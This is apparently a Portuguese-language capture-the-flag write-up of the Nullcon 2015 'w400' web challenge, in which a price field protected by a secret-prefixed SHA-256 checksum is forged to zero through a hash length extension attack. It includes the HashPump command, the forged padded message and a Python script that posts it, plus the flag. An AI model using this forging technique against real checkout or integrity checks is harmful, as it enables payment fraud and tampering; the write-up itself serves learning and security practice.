w400 – Question 4
Buy Nullcon Pass For Free.
Flag format: flag{flag}
nullcon.html
Solução
Ok , a gente tem que comprar um entrada de graça . Se a gente olhar pro código fonte da página :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <meta charset="UTF-8"> <TITLE> Web Challenge</TITLE> </HEAD> <BODY> <center> <h3> Buy Nullcon Corporate Pass in ZERO rupee.</h3> <table border="1"> <tr> <td>Id:</td> <td>Nullcon2015</td> </tr> <tr> <td>Type:</td> <td>Corporate</td> </tr> <tr> <td>Price:</td> <td>10999</td> </tr> </table> <form action=checkout.php method=POST> <input type=hidden name=msg value="Nullcon2015%7Ccorporate%7C10999"><br> <input type=hidden name=checksum value="568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db"><br> <input type=submit value=Buy> </form> <!-- if( $checksum === hash("sha256",$secretkey . $msg)) // secretkey is XXXXXXXXXXXXXXXXXXX :-P { // Success; :) } ?> --> </center> </BODY> </HTML> |
Quando a gente clica em “Buy” ele envia pro “checkout.php” :
1 |
msg=Nullcon2015%7Ccorporate%7C10999&checksum=568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db |
Já que %7C == | a “msg” fica “Nullcon2015|corporate|10999” . Então a idéia é fazer que o terceiro item seja “|0” .
O problema é que ele checa se o checksum que você tem ( que é um sha256 ) é igual a hash da sua msg mais uma key que ele tem.
Dando uma lida em write-ups de CTFs passados ( github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/mtpox ) eu percebi que esse tipo de checagem do checksum , onde você tem a hash e parte da string que a gerou , é suscetível a ataques de Length extension . É um assunto complexo e precisa ter um bom background de criptografia , aqui explica bem direitinho ( en.wikipedia.org/wiki/Padding_(cryptography) | blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks ) , mas basicamente , alguns tipos de hashes se utilizam de padding para certificar que o tamanho da string que será usada é multiplo do tamanho do bloco da cifra ( http://www.dei.isep.ipp.pt/~andre/documentos/criptografia.html ) e com isso é possível inserir algo a mais na string primária que resultará na mesma hash .
Ok , para fazer o ataque utilize tool HashPump que faz todo o padding automáticamente .
1 |
$ hashpump -s '568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db' --data 'Nullcon2015|corporate|10999' -a '|0' -k 19 |
Então nós temos a hash final , parte da string e ‘|0’ que a gente quer colocar no final , além disso eu tive que fazer um brute-force no tamanho da “key” para ele conseguir fazer o padding certo . Ele retornou :
1 2 |
a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48 Nullcon2015|corporate|10999\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01p|0 |
Que é a nova hash e a string que a gente vai injetar . Eu tentei injetar com o Burp o POST , mas por algum motivo ele “encoda” o padding errado e nunca dá certo , então eu fiz um script (:
1 2 3 4 5 6 7 8 9 |
import requests url = "http://54.165.191.231/checkout.php" crack = {"checksum":"a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48" , "msg" : "Nullcon2015|corporate|10999\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01p|0"} r = requests.post(url,data=crack) print r.text |
E a gente consegue a flag (:
Flag
flag{fl@g_*2o15}}
Criado por
Hu3br
© 2014 - Todos os Direitos Reservados